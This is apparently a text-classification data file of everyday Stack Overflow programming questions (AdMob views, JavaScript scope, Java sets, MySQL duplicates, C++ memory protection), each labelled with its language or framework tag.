admob using storyboard - uiview may not respond to viewdidload  i ve been searching and changing code for 2 days.  i m using xcode 4.5 and storyboards.  i got admob to work on my main view  but i ve added 50+ other views  and getting a couple warnings and the ads will not show up.   <pre><code>//  viewmain2.h  #import &lt;uikit/uikit.h&gt; #import  gadbannerview.h   @class gadbannerview  gadrequest; @interface viewmain2 : uiview  &lt;gadbannerviewdelegate&gt; {     gadbannerview *adbanner_; }  @property (nonatomic  retain) gadbannerview *adbanner;  - (gadrequest *)createrequest; - (uiview *)view;  @end  //////////  viewmain2.m  #import  viewmain2.h  #import  gadbannerview.h  #import  gadrequest.h   @implementation viewmain2  @synthesize adbanner = adbanner_;  - (uiview *)view {     return (uiview *)self.view; }  - (id)initwithframe:(cgrect)frame {     self = [super initwithframe:frame];     if (self) {         // initialization code     }     return self; }  #pragma mark init/dealloc  // implement viewdidload to do additional setup after loading the view  // typically from a nib. - (void)viewdidload {     [super viewdidload];      // initialize the banner at the bottom of the screen.     cgpoint origin = cgpointmake(0.0                                   self.view.frame.size.height -                                  cgsizefromgadadsize(kgadadsizebanner).height);      // use predefined gadadsize constants to define the gadbannerview.     self.adbanner = [[[gadbannerview alloc] initwithadsize:kgadadsizebanner                                                     origin:origin]                      autorelease];      // note: edit sampleconstants.h to provide a definition for ksampleadunitid     // before compiling.     self.adbanner.adunitid = @ a1512d23a796691 ;     self.adbanner.delegate = self;     [self.adbanner setrootviewcontroller:self];     [self.view addsubview:self.adbanner];     self.adbanner.center =     cgpointmake(self.window.center.x  self.adbanner.center.y);     [self.adbanner loadrequest:[self createrequest]]; }  - (void)dealloc {     adbanner_.delegate = nil;     [adbanner_ release];     [super dealloc]; }  - (nsuinteger)supportedinterfaceorientations {     return uiinterfaceorientationmaskportrait; }  #pragma mark gadrequest generation  // here we re creating a simple gadrequest and whitelisting the application // for test ads. you should request test ads during development to avoid // generating invalid impressions and clicks. - (gadrequest *)createrequest {     gadrequest *request = [gadrequest request];      // make the request for a test ad. put in an identifier for the simulator as     // well as any devices you want to receive test ads.     request.testdevices =     [nsarray arraywithobjects:      // todo: add your device/simulator test identifiers here. they are      // printed to the console when the app is launched.      nil];     return request; }  #pragma mark gadbannerviewdelegate impl  // we ve received an ad successfully. - (void)adviewdidreceivead:(gadbannerview *)adview {     nslog(@ received ad successfully ); }  - (void)adview:(gadbannerview *)view didfailtoreceiveadwitherror:(gadrequesterror *)error {     nslog(@ failed to receive ad with error: %@   [error localizedfailurereason]); }  @end </code></pre>   i m getting a warning  uiview may not respond to viewdidload  on the line -> [super viewdidload];    i m also getting a warning  incompatible pointer types sending viewmain2 to parameter of type uiviewcontroller  on the line -> [self.adbanner setrootviewcontroller:self];    i ve tried a lot of tutorials and searching  but with all the views in storyboard named uiview  i m struggling.  thanks for any help!,objective-c
how do i cast a decimal number to string in javascript   325.234 to string     is it tostring(),javascript
retina images  non retina devices  i have an app that runs on iphone and ipad  most of the intended devices for this app will be retina devices except for the ipad mini. i have a lot of images to include in this app. my question is  if i decide to go with the @2x images only  will ios downgrade them to non retina devices  so i ship only retina images  if that is correct is it a bad idea to implement,ios
records with fields determined at runtime in .net  i want to put millions of records into memory. the records have fields that cannot be determined at compile-time. the fields may have different types  some doubles  some ints  some strings  etc. since i have to store so many of them  i want the in-memory representation of these records to be as efficient as possible.    in c++  i d make each record a fixed-size buffer that holds all the data  and determine where in the buffer to read from to get the data back out. in c#  i cannot do that (can i ).    what s the way to go about this  build structs at runtime  using ilgenerator  managed c++  use an array of byte[],.net
differences in font size between resolutions  i developed my app on 240 hdpi wvga800. the textsize on some of my buttons were much too small  so i had to change them to 50sp. it looks good on what i developed it on but when testing on 120 ldpi qvga and 160 mdpi hvga  the text is slightly cut off. also  when testing on 3.0  the text is much too small. how do you handle this     edit: it actually only appears to be an issue in 1 layout. the layout has nested linearlayouts  with weight=1 so that every row is equal size and fills the screen. the layout_weight for linearlayout so it stretches to fit the screen vertically. and for each button so they stretch to fill the screen horizontally.   <pre><code>&lt;linearlayout&gt;    &lt;viewflipper&gt;       &lt;linearlayout&gt;          &lt;linearlayout android:layout_weight= 1 &gt;             &lt;button android:layout_weight= 1 &gt;&lt;/button&gt;             &lt;button android:layout_weight= 1 &gt;&lt;/button&gt;             &lt;button android:layout_weight= 1 &gt;&lt;/button&gt;          &lt;/linearlayout&gt;          &lt;linearlayout android:layout_weight= 1 &gt;             &lt;button android:layout_weight= 1 &gt;&lt;/button&gt;             &lt;button android:layout_weight= 1 &gt;&lt;/button&gt;             &lt;button android:layout_weight= 1 &gt;&lt;/button&gt;          &lt;/linearlayout&gt;          &lt;linearlayout android:layout_weight= 1 &gt;             &lt;button android:layout_weight= 1 &gt;&lt;/button&gt;             &lt;button android:layout_weight= 1 &gt;&lt;/button&gt;             &lt;button android:layout_weight= 1 &gt;&lt;/button&gt;          &lt;/linearlayout&gt;          &lt;linearlayout android:layout_weight= 1 &gt;             &lt;button android:layout_weight= 1 &gt;&lt;/button&gt;             &lt;button android:layout_weight= 1 &gt;&lt;/button&gt;             &lt;button android:layout_weight= 1 &gt;&lt;/button&gt;          &lt;/linearlayout&gt;       &lt;/linearlayout&gt;       &lt;linearlayout&gt;       &lt;/linearlayout&gt;          &lt;/viewflipper&gt; &lt;/linearlayout&gt; </code></pre>,android
in objective c does every user class extend nsobject by default   while going through an objective c programming book just now . i noticed this code <br>   <pre><code>@interface fraction: nsobject {    int  numerator;    int  denominator; }  -(void)   print; -(void)   setnumerator: (int) n; -(void)   setdenominator: (int) d;  @end </code></pre>   author does great job in explaining every thing in this book but there is no mention on whether this is same as just   <pre><code> @interface fraction     {        int  numerator;        int  denominator;     }      -(void)   print;     -(void)   setnumerator: (int) n;     -(void)   setdenominator: (int) d;      @end </code></pre>   reason i am asking this rather very simple question is that in java every thing by default extends object and you do not need to say that. now of course they are two very different languages but it was a natural question that came to my mind.,objective-c
to get year from datetimepicker and also to compare this year with previous year in javascript <pre><code>$(document).ready(function() {     $( #q_dr_from ).datetimepicker({ dateformat:  yy-mm-dd  mindate:  -1y   maxdate:  0 }); );  function find(){  var fromdate = $( #q_dr_from ).val();     alert( fromdate  + fromdate);     var year = fromdate.getfullyear();     alert( year  + year);  } </code></pre>   i am unable to display year it fails at var year = fromdate.getfullyear();. and one more requirement is i want to compare this date with date 1 year ago from current date. could someone please help.,javascript
unable to navigate away from page via browser back button  when these partials are loaded in the browser i am unable to navigate away from the page via the browser back button. the page stays the same but the url changes.    what could be causing this    <pre><code>  match  /signup    to:  users#new              via:  get    match  /signout   to:  sessions#destroy       via:  get    # /users/new   def new     @user = user.new     render partial:  new   layout: false   end  # /sessions/new   def new     render partial:  new   layout: false   end </code></pre>   here s my stack. this is from just clicking the signin link once.   <pre><code>started get  /signin  for 127.0.0.1 at 2014-03-26 19:57:46 -0700 started get  /signin  for 127.0.0.1 at 2014-03-26 19:57:46 -0700 processing by sessionscontroller#new as */* processing by sessionscontroller#new as */*   rendered sessions/_new.html.erb (0.8ms)   rendered sessions/_new.html.erb (0.8ms) completed 200 ok in 4ms (views: 3.3ms | activerecord: 0.0ms) completed 200 ok in 4ms (views: 3.3ms | activerecord: 0.0ms)     started get  /signin  for 127.0.0.1 at 2014-03-26 19:57:46 -0700 started get  /signin  for 127.0.0.1 at 2014-03-26 19:57:46 -0700 processing by sessionscontroller#new as html processing by sessionscontroller#new as html   rendered sessions/_new.html.erb (0.8ms)   rendered sessions/_new.html.erb (0.8ms) completed 200 ok in 3ms (views: 1.9ms | activerecord: 0.0ms) completed 200 ok in 3ms (views: 1.9ms | activerecord: 0.0ms)     started get  /signin  for 127.0.0.1 at 2014-03-26 19:57:46 -0700 started get  /signin  for 127.0.0.1 at 2014-03-26 19:57:46 -0700 processing by sessionscontroller#new as html processing by sessionscontroller#new as html   rendered sessions/_new.html.erb (0.8ms)   rendered sessions/_new.html.erb (0.8ms) completed 200 ok in 2ms (views: 1.6ms | activerecord: 0.0ms) completed 200 ok in 2ms (views: 1.6ms | activerecord: 0.0ms) </code></pre>,ruby-on-rails
howto detect usage of missing symbol in java classpath  i sometimes facing dependency hell in java. it is common known problem: library a depends on library c in version 2.5 and library b depends on c too  but in version 2.6. then i have to solve question: are two versions of c library backward compatible  can i use libraries a  b and c in one application classpath  or should i create  shaded bundle  of a with old version of c     if two versions of c library are incompatible and i use it  application can be started usually. but then after some hours or days can  no such method  exception occurs! i would like to detect this problem before application start  not in runtime.    <strong>question is</strong>: exist some tool that can list all used symbols in class and all provided symbols by class  then i can create script that detect used but missing symbols...,java
deducting a type t for std::function from a lambda function  i am trying to understand how the following code works :   <pre><code>#include &lt;iostream&gt; #include &lt;functional&gt;  using namespace std;  template &lt;typename t&gt; struct identity {     typedef t type; };  template &lt;typename t&gt; void foo(t val  typename identity&lt;function&lt;void(t)&gt;&gt;::type f) {     f(val); }  int main () {     foo(1337 [](int x){ cout &lt;&lt;  lambda   &lt;&lt; x &lt;&lt; endl; });      return 0; } </code></pre>   there is no choice of <code>t</code> that will make the lambda type equal to <code>std::function(void(t))</code>type  so that s why the metafunction is needed.    i know that the nested-name-specifier <code>::</code> is a brick wall so that will make the compiler not to try to deduce a type <code>t</code> for that parameter.    so i tried the same code but without the <code>t val</code> function parameters and <code>t</code> could not be deduced.    does that mean that the compiler does the following steps when you call    <code>foo(1337 [](int x){ cout &lt;&lt;  lambda   &lt;&lt; x &lt;&lt; endl; });</code>   <ol> <li>arg is 1337 and param is <code>t val</code> // t is deducted to be an int</li> <li>brick wall  won t try to deduce the type from the second argument</li> </ol>   will the compiler now call <code>identity&lt;function&lt;void(int)&gt;&gt;</code> using the type <code>t</code> that was deducted from step 1 or will it do something else,c++
how to generate a select box by using options_from_collection_for_select  i am really confused with select boxes in ror. how can i generate a working select box by using options_from_collection_for_select. this will only generate the option tags and not the select tag  can anyone please provide me an example on how to use this.    i am having a hard time understanding select boxes  i don t know why...    thanks,ruby-on-rails
creating app data on first use  i once read somewhere that apps should not copy data while doing an installation but rather all data creation must be done the first time the app is used.    q1: does this apply to windows mobile apps also     q2: is it not okay then to copy a blank database to the \appdata\product\ folder and populate it when the user uses the app or must i wait for the user to se the app to even create the database.    win mobile c# .net,.net
passing scope vars to a closure that was declared outside of that scope  i really hope this isn t a duplicate.    <pre><code>function a(){ b(); } // function a calls function b; but there s no function b in the global scope...  (function(){      // the purpose was to declare it later because it may collide with user-defined functions     var b = function(){ console.log( i am function b() ); };      a(); // doesn t work  obviously     a.call(this); // also doesn t work     a.apply(this  []); // doesn t work either      // neither works     var scope = {  b : function(){ return b.apply(this arguments); } };      with(scope){         a.call(scope);     }      // ... what works then    }());  </code></pre>   simply put  function <code>a()</code> declared globally calls function <code>b()</code>. function <code>b()</code> is not declared before <code>a()</code> and will not be part of the same scope.    so:   <ol> <li>we cannot modify function <code>a()</code>  nor its location where is defined</li> <li>we cannot declare <code>b()</code> in the same scope with <code>a()</code></li> <li>we also cannot <code>var a = eval(a().tostring())</code> or any likewise cheats </li> </ol>   with pure scope handling  is this possible  and if it it s not  what else can we do   just trying to learn some javascript here that s all.,javascript
hashset doesnt guarentee sorting  <pre><code>import java.util.*; public class duplicatecheckmain {  public static void main(string[] gopal){   integer[] args = {6 9 2 55 100 1 6 8 9};   integer[] args1 = {3 6 2 3 5};   set s = new hashset();   duplicatecheck.checkduplicate(s args new string( hashset ));   set s1 = new hashset();   duplicatecheck.checkduplicate(s1 args1 new string( hashset ));    s = new treeset();   duplicatecheck.checkduplicate(s args new string( treeset ));    s = new linkedhashset();   duplicatecheck.checkduplicate(s args new string( linkedhashset ));   } }  public class duplicatecheck {   public static void checkduplicate(set s  integer[] args  string setname){   for(int i = 0;i&lt;args.length;i++){    if(!s.add(args[i])){system.out.println( duplicate element  +args[i]);}   }   system.out.println(s +   + setname);  } } </code></pre>   question: for the hashset with reference s  the hashset is not sorted. but for the reference s1  the hashset is sorted. why so,java
is there a way to settitle on a uibutton that updates all uicontrolstates at once   i have a uibutton  and i d like to update its title  but i d rather not have to always do it for each and every state like the following:   <pre><code>[mybutton settitle:@ play  forstate:uicontrolstatenormal];  [mybutton settitle:@ play  forstate:uicontrolstatehighlighted];  [mybutton settitle:@ play  forstate:uicontrolstateselected]; </code></pre>   is there a better way,iphone
download an excel file html  i keep getting a 404 error saying the file is not on the web server  trying to create an href link to download an excel file.   <pre><code>&lt;p&gt;&lt;a href= /excelfile.xlsx  download&gt; click to download &lt;/a&gt;&lt;/p&gt; </code></pre>   the excel file is in the same directory as the page this is being worked on currently  so there is no file path  i have tried a file path but it gives the same error.,html
does html comment <!-- act as a single-line comment in javascript  and why   how specifically does javascript understand the construct <code>&lt;!--</code>  from the point of view of javascript  is it yet another comment in addition to <code>//</code> and <code>/* */</code>     from testing it seems that javasript treats <code>&lt;!--</code> like <code>//</code>: a one-liner   <pre><code>&lt;script&gt; &lt;!-- alert( hi ) //--&gt; &lt;/script&gt; </code></pre>   does nothing  while   <pre><code>&lt;script&gt; &lt;!--  alert( hi ) //--&gt; &lt;/script&gt; </code></pre>   works as expected.    where is this behavior documented      <strong>this is not a duplicate of other questions:</strong> i don t ask why or whether or how it should be used. i ask what syntax and semantics it has in javascript  formally. the question is non-trivial and is not answered in other questions: for example  the behavior indicated above cannot be guessed from the other questions and their answers (in fact this was my motivation: my program with a one-liner as above did not work  and those questions and answers were no help in understanding why).,javascript
change the default text-based color codes to custom hex in stylesheet  is it possible to define the default text color codes in a stylesheet    for example: i use this color all over my site  i hate typing it. color:#27408b;    instead what i want to do is define the default text blue to be color:#27408b;    so i can just type border:1px solid blue; and it will come out border:1px solid #27408b;,css
creating sub pages does not work with this code in html can somebody help  once i click my wanted subpage it shows err_file_not_found  so i created my homepage  however  i am struggling to create my sub pages because i think i coded the navigation bar wrong. could someone help and say why it so  once i click the sub pages for example samsung it says err_file_not_found. for my samsunggalaxys9.html file  i copied the code below.   <pre><code>&lt;doctype html!&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset= utf-8 &gt; &lt;meta name= author  content= john khan &gt;  &lt;link rel= stylesheet  href= style.css  type= text/css &gt;  &lt;/head&gt; &lt;body&gt;  &lt;header&gt;    &lt;video autoplay loop class= video-background  muted plays-inline&gt; &lt;source src= video.mp4  type= video/mp4 &gt; &lt;/video&gt; ****&lt;nav&gt; &lt;div class= nav &gt;   &lt;img src= logo.png  class= logo &gt; &lt;ul class= menü &gt;   &lt;li&gt;&lt;a href= samsunggalaxys9.html &gt;samsung galaxy s9&lt;/a&gt;&lt;/li&gt;   &lt;li&gt;&lt;a href= iphonex.html &gt;iphone x&lt;/a&gt;&lt;/li&gt;   &lt;li&gt;&lt;a href= googlepixel2.html &gt;google pixel 2&lt;/a&gt;&lt;/li&gt;   &lt;li&gt;&lt;a href= htcu11.html &gt;htc u11&lt;/a&gt;&lt;/li&gt;   &lt;/ul&gt;**  &lt;/div&gt; &lt;/nav&gt;** here is where i had my linking to my other html files  however  this doesn t work  &lt;div class= msg &gt;   &lt;h1&gt;die besten handys aus dem jahr 2018&lt;/h1&gt; &lt;/div&gt; &lt;/header&gt;  &lt;/body&gt; &lt;/html&gt;  </code></pre>,html
clang: error: linker command failed with exit code 1 (use -v to see invocation) duplicate symbol _sprites for _game  i have a problem with my project. when i build my project  i have an error. it shows duplicate symbol _sprites for _game    ld: 2 duplicate symbols for architecture i386 clang: error: linker command failed with exit code 1 (use -v to see invocation)    <img src= https://i.stack.imgur.com/2tx9m.png  alt= image for help >,objective-c
php chinese segmentation  i m looking for php chinese segmentation    because chinese words don t have space  it affect fulltext search    ex.   <pre><code>$_get[ text ]= 中文分詞搜尋 ; $text=$_get[ text ];(user s input) $text; -chinese segment function-&gt; $text= 中文 分詞 搜尋 ;(result) </code></pre>,php
selecting elements with more than one class in jquery  i have some message elements like this...   <pre><code>&lt;span class= error message &gt;whoops!  don t forget your name.&lt;/span&gt; </code></pre>   and...   <pre><code>&lt;span class= success message &gt;all done!  thank you very much.&lt;/span&gt; </code></pre>   you ll notice that two classes are being applied to a single <code>span</code> element.  this is valid markup.  how can i select elements with two classes like this     note:  i don t want all elements that have a class attribute containing  message .  i need the elements that have both  error  and  message  (and nothing else).,jquery
angular update button on timer  i m trying to update a button with the elapsed time. i can console log the timer  and update the button label once  but it s not updating with the time:   <pre><code> &lt;button ng-show= location   class= button button-large assertive icon     {{buttonicon}} button-block  ng-click= record() &gt;   {{buttonlabel}} &lt;/button&gt;      $scope.buttonlabel =  stop ;     $scope.recordparams.timer = $interval(function(){       var time = gettimeelapsed(initialtime);       $scope.buttonlabel = time;     }  100); </code></pre>   it will change to  stop  but i can t get it to update with the time.,angularjs
why the plugin not working   i am trying to create a basic plugin.but when i am trying to execute its not working. so far i have this .    hide   copy code   <pre><code>(function ($) {      $.fn.myplugin = function () {                 this.fadeout( normal );      }; })(jquery); </code></pre>   now when i try to call this    <pre><code>$(document).ready (function(){     $( .img ).myplugin () }); </code></pre>   it does nothing,jquery
redirect to another html in angularjs webpage reloads controller  in my html page  clicking a row sends you to another html page. ng-click calls the funtion showscripts and fills the variable $scope.scripts using ajax call  which i am using in this new html page.   <pre><code>$scope.showscripts=function(event item){      $http.get( /scripts/ +item).success(     function(data) {       $scope.scripts = data.responsedata;     });         if (event.ctrlkey) {                 window.open( /scripts.html   _blank ); // in new tab             } else {                 window.open( /scripts.html   mywindow ); // in new tab             }     } </code></pre>   the file scripts.html is using the same controller. so when the html loads  the angularjs file loads again and the values in $scope.scripts go back to undefined.  can i prevent the controller from refreshing the values,angularjs
how to play video (mp4 format) in ie   firefox  chrome   how to play video (mp4 format) in ie   firefox  chrome.,html
mysql unique combination of two columns  this is friends table   <pre><code>userid(int) | friendid(int) | confirmed(tiny int) -------------------- 1 | 2 | 1 2 | 1 | 1 1 | 3 | 1 3 | 1 | 1 1 | 5 | 0 2 | 4 | 1 4 | 2 | 1 4 | 1 | 1 1 | 4 | 1 </code></pre>   i have about 200k rows like this i want to delete duplicates example if userid=1 and friendid=2 then i dont want next row userid=2 friendid=1    i want unique combination across 2 columns means if 1 2 is there then 2 1 should not be there and should be deleted.    then i can make friend list query like this:   <pre><code>select * from friends where (userid=1 or friendid=1) and confirmed=1 </code></pre>   my questions:    how to delete this duplicate rows     please also give me query to find mutual friends of 2 user( userid of them may reside in either userid column or friendid in friends table).,mysql
practical and advanced c++ usage  i ve studied c++ as a college course. and i have been working on it for last three years. so i kinda have a fairly good idea what is it about. but i believe to know a language is quite different from using it to full potential. my current job doesn t allow me to explore much.    i have seen you guys suggest studying a open source project and perhaps contributing to one too. so my question is  can you suggest one(of both ) to start with that is simple and doesn t overwhelm a starter.,c++
need to resolve an sql query error <pre><code>create table departments    (    department_id numeric(4 0)        department_name  varchar(30 ) constraint dept_name_nn not null         manager_id  numeric(6 0)        location_id  numeric(4 0)      );     create table employees     (    employee_id numeric(6 0)       first_name varchar(20 )       last_name varchar(25 ) constraint  emp_last_name_nn  not null        email varchar(25 ) constraint  emp_email_nn  not null        phone_number varchar(20 )       hire_date date constraint  emp_hire_date_nn  not null        job_id varchar(10 ) constraint  emp_job_nn  not null        salary numeric(8 2)       commission_pct numeric(2 2)       manager_id numeric(6 0)       department_id numeric(4 0)       ); </code></pre>   i need to list the name of the department  average salary and number of employees working in that department who got commission.   <pre><code>select department_name  avg(salary)  count(commission_pct)  from departments  join employees  using (department_id);   group by department_name </code></pre>   this is what i ve got so far  but it gives me an error:   <blockquote>     department_id  is not a recognized table hints option. if it is intended as a parameter to a table-valued function or to the changetable function  ensure that your database compatibility mode is set to 90.  </blockquote>,sql
c++ get value from string  i need get value from string. i have this piece of html:     <code>&lt;input type= hidden  name= wtkn  value= 56e45dbe_wnit/dcufupvzol33jmkyqgpkxw= &gt;</code>    and in c++ this code:   <pre><code>  static string pat4 =   name=\ wtkn\  ;   string::size_type wtkn;   if ((wtkn = l.find(pat4)) != string::npos)   {        l.erase(0 401);     l.erase(37 43);            string token = l;       return token;          }  </code></pre>   so i need this from html: <strong>56e45dbe_wnit/dcufupvzol33jmkyqgpkxw=</strong> but this string is about 37 or 38 chars. so erase thing is not the best option.,c++
iterate through a lot of td to display barcode  i m trying to go through a table and generate barcodes using jquery and jsbarcode <a href= https://github.com/lindell/jsbarcode  rel= nofollow noreferrer >https://github.com/lindell/jsbarcode</a>.    ideally  the jquery would generate all barcodes and only display them if the user clicks on the [show/hide barcodes] button.    here s the html   <pre><code>&lt;table&gt;   &lt;tr&gt;     &lt;th&gt;code&lt;/th&gt;     &lt;th&gt;product&lt;/th&gt;     &lt;th&gt;price&lt;/th&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td class= code &gt;&lt;a href=  &gt;38hy7&lt;/a&gt;&lt;/td&gt;     &lt;td&gt;product 1&lt;/td&gt;     &lt;td&gt;19.99&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td class= code &gt;&lt;a href= # &gt;abc123&lt;/a&gt;&lt;/td&gt;     &lt;td&gt;product 2&lt;/td&gt;     &lt;td&gt;29.99&lt;/td&gt;   &lt;/tr&gt; &lt;/table&gt; &lt;button id= barcodes &gt;shwo barcodes&lt;/button&gt; </code></pre>   here s my jquery   <pre><code>$( #barcodes ).click(function() {   $( .code &gt; a ).each(function() {     var thecode = $( .code a ).text();     $(this).append(        &lt;div class= thebars &gt;&lt;br /&gt;&lt;svg class= barcodes &gt;&lt;/div&gt;&lt;/svg&gt;      );     $( .barcodes ).jsbarcode(thecode  {       displayvalue: false        height: 20     });   }); }); </code></pre>   at the moment  my script stores all codes in the var thecode but i want it to do it individually for each code and reset the var once the barcode is generated.    what if i have a large amount of codes to generate  what s the best way to handle it,jquery
(homework) dice program  cannot find symbol  i m new to java and i ve encountered yet another error with my dice program.    in this program i have three methods  roll() to roll the die and return a value between 1 and a number specified by the user  getfacevalue()  to return the value of the die roll as an int  and tostring()  to return the die roll as a string.    the answer to my previous question about my program enabled me to get the program working  but it was not structured as the professor wanted  so i ve had to rework it. i now know that none of my methods/variables can be static  and i can only take user input in the main part of the program.    when i try to compile  i get the following error:   <pre><code>die.java:12: error: cannot find symbol double y = (x * sides) + 1;  symbol: variable sides location: class die </code></pre>   my code is as follows:   <pre><code>import java.io.*; import java.util.*;  public class die {     //private int sides;     private int z;     private string facename;      //sets (and returns) the face value to a uniform random number between 1 and the number of faces.     public int roll() {         double x = math.random();         double y = (x * sides) + 1;         z = (int)y;         return z;     }      //returns the current face value of the die.     public int getfacevalue() {         int face = z;         return face;     }      //returns the string representation of the face value.     public string tostring() {         facename = integer.tostring(z);         return facename;     }      public static void main(string [] args) {         int sides;         system.out.println( how many sides will the die have  );         scanner keyboard = new scanner(system.in);         sides = keyboard.nextint();          system.out.println(   );         die die = new die();         system.out.println( roll:   + die.roll());         system.out.println( face:   + die.getfacevalue());         system.out.println( string:   + die.tostring());     } } </code></pre>   originally  i had the variable sides as a private int (you can see it commented out in my program)  but this produced a static reference error.    i appreciate any help you can offer.    the previous question was: <a href= https://stackoverflow.com/questions/12594572/methods-in-dice-program-return-0 >methods in dice program return 0</a>,java
need declare protocol in objective c   i wonder if it is needed to declare the protocol.    so  i delete a part that protocol declare code.    i thought that it will happen compile error.    but  has been running without any problems.    why need protocol declare part    <pre><code>#import &lt;uikit/uikit.h&gt;   @interface singlecomponentpickerviewcontroller : uiviewcontroller { // &lt;uipickerviewdelegate  uipickerviewdatasource&gt; {   ==&gt; protocol declare part     iboutlet    uipickerview *singlepicker;                 nsarray *pickerdata; } @property (nonatomic  retain) uipickerview *singlepicker; @property (nonatomic  retain) nsarray *pickerdata; - (ibaction)buttonpressed:(id)sender; @end   &lt;uipickerviewdelegate  uipickerviewdatasource&gt; &lt;= this is what feature                                                    when omit this  excute without any problem.  </code></pre>   below is picture after compiled screen.     it has no issues.    and excute without any problems..    <img src= https://i.stack.imgur.com/pmco5.png  alt= enter image description here >,objective-c
how can i make a html select drop-down list close on blur   hi i need my drop down list boxes to close once they are out of focus or if the user is hovering over any other html element other than it. how can this be achieved     i could think of a blur event  are there any better way to handle this,html
how to merge multiple mp3 file using ffmpeg in android  i want to merge two or more mp3 audio file using ffmpeg but i do not know how it implement in project.someone can give me tutorial or steps for it.,android
make a piece of heap memory read-only  if i have a database application in c++. when the data size is small  it s easy to debug for bugs. but when the data size becomes huge  and relationship becomes complex  the bug is very hard to debug  or hard to find the root cause of it. sometimes the callstack can t tell you enough information to find the root cause  because the memory has been collapsed. it s very easy the memory of one component is written by other component. only when the first component visit that memory  we met the crash  but it s too late.    the difficulty to find the root cause is proportional to the size of the handling data.    i am wondering if there is any tricks to predicate the risk  and protection code for avoid illegal memory written.    c++ pointer is a powerful tool  but it s also the high risk to use it. any code could use the pointer to write/update the memory anytime. when one code write a memory  no other class object know it unless the class visit that memory then find the value is already invalid  crashed.    if a hold a pointer to b  then some code write that memory to make the value to c. then when a use the b pointer to do something  invalid pointer.    i want to know  maybe it s impossible  if there some way to avoid this situation. could we add some protection code there.    one method i thought could be is i could make the memory to be writable before change  after change make it readable. so other code can t write it  otherwise crash. this would help me to find the issue earlier.    is there some way to make a piece of heap memory read-only     platform is windows. i hope i could use some switch in the code to control it s access right.,c++
how to make an setup file  i am new to program and our teacher asked us to write a small program witch using sqlserver; so i use visual studio 2010 c# to write it but i meet a problem: i don t know how to make a setup file.because i put the sqlconnectionstring in the code file directly;so even i have publish the program  the sqlconnectionstring didn t change it didn t works~ this is the first time to write this kind program and i dont know how to make it work right on others computer; can you tell me the way to solve it  do i need change the way of coding how  thanks~,.net
the character of the textarea input is turned to object  for example        in         input  name:1111 ss:1111 ...   => {name:1111 ss:1111 ...}        a method of turning characters into objects   <pre><code>   i can t find a good way to do it </code></pre>,html
creating executable program from eclipse on mac  i have been searching for a while to find this question  and i have certainly found this question asked before  but the answers have not worked for me.     to give a little information about what i am trying to achieve: i am trying to apply for a job that says  wow us with your cover letter and guarantee a response   so i decided to make a very very simple program that uses what little knowledge i have to interact with the person and work in my cover letter. i have a bit of the program written and realized that i do not know how to make the program run outside of eclipse. furthermore  i need to make sure that it is something that will work on another computer  which is not likely going to be a mac.    i have already tried to export as an executable jar file  which gave me a .class file. that will not open - it gives an error telling me to check the console for possible errors. i already have jre installed and jdk. i also tried downloading other apps that i was led to in my search for an answer  such as jsmooth (not realizing it is only for windows) and lingon. i m pretty sure those are not at all what i am really looking for.     i am trying really hard to not contribute to another duplicate question  but i can t seem to find the answer i m looking for.     another thought - i am trying to make it executable by double clicking the icon  just the same as i would expect any other application to do. i say that because i am hoping to be able to avoid going through the back door with terminal or the console  because that is something with which i have no experience.     this is one question i found that is very similar: <a href= https://stackoverflow.com/questions/4765371/how-can-i-create-executable-file-for-the-program-written-on-java >how can i create executable file for the program written on java </a>    i tried using java web start with the same lack of results. also  the writer of this question is asking for help with windows.    <a href= https://stackoverflow.com/questions/76314/how-can-i-open-java-class-files-in-a-human-readable-way >how can i open java .class files in a human-readable way </a>    this one doesn t appear to be for a running a program  but for reading the code.    <a href= https://stackoverflow.com/questions/908680/jar-file-not-opening-on-a-mac >jar file not opening on a mac</a>    this one is the most similar to what i am asking and the writer of the question was seeing what i am seeing in the warning  but this is from 2009 and it doesn t make sense to me.    sorry to go on like this  but i am trying to make it clear that i have tried to figure this out on my own and am running into a wall.    any help would be much appreciated!,java
how to presist data when my app updates its version  lets say i have an application in app store. now i am sending an update with some new features and bug fixes. users of old app have some app data stored in nsuserdefaults. and uuid is also being used. so bascially what will happen when they update the app       will data be lost      uuid will be changed,ios
redirecttoroute - make url controller/action/parameter/parameter instead of controller/action/parameter parameter=something  i need to redirect the user to controller/action/parameter/parameter instead of controller/action/parameter parameter=something    this is what i m currently using   <pre><code> return redirecttoroute(new         {             controller =  player               action =  index               id = id              name = name         }); </code></pre>   however  the result is player/index/445 name=tech%20guy instead of player/index/445/tech-guy    how do i go about this   regards,asp.net
css coloring on certain placeholder texts  but not all  let s say that i have two input fields and one of them in mandatory the other not.    they should function as standard placeholders  <strong><em>except</em></strong> the placeholder text of the mandatory field should be red  the other should be placeholder default and they should both look the same after some text us input.    how do i achieve that  using css,css
$resource relations in angular.js [updated] <blockquote>    i m trying to figure out the best way to write a model that relates to other models  such as an order that has 1 or more orderitems.  </blockquote>   how can i get respective orderitems when a order is loaded    <pre><code>angular     .module( myapp.services   [ ngresource ])         .factory( order   function($resource) {             return $resource( /api/v1/order/:orderid format=json   {}  {});         });         .factory( orderitem   function($resource) {             return $resource( /api/v1/orderitem/:orderitemid format=json   {}  {});         }); </code></pre>   i tried a callback function on get order to load orderitems  but didn t work.   <hr>   there is a very similar question  but it is obsolete: <a href= https://stackoverflow.com/q/9981090/599991 >$resource relations in angular.js</a>,angularjs
how would one make a unit converter in objective c   i was wondering how  in objective c  one would go about making a unit converter  in particular one specific point: would you need a new block of code for each unit to be converted to every other unit. e.g.    meters - feet meters - centimeters meters - inches    etc then have a new code to convert feet to each of the units  then one for inches to each  another for centimetres to each unit etc  or is there some easier way     thanks,objective-c
select rows which have the maximum values of column a for unique entries in column b  i m not sure how to even phrase this question.    say i have a table like this:   <pre><code>a   0.1 a   0.2 a   0.3 b   0.1 b   0.4 b   0.9 c   0.1 c   0.6 </code></pre>   i want to see the maximum values of column b for each of the entries in column a  i.e.   <pre><code>a   0.3 b   0.9 c   0.6 </code></pre>   how do i create a query to give me this,sql
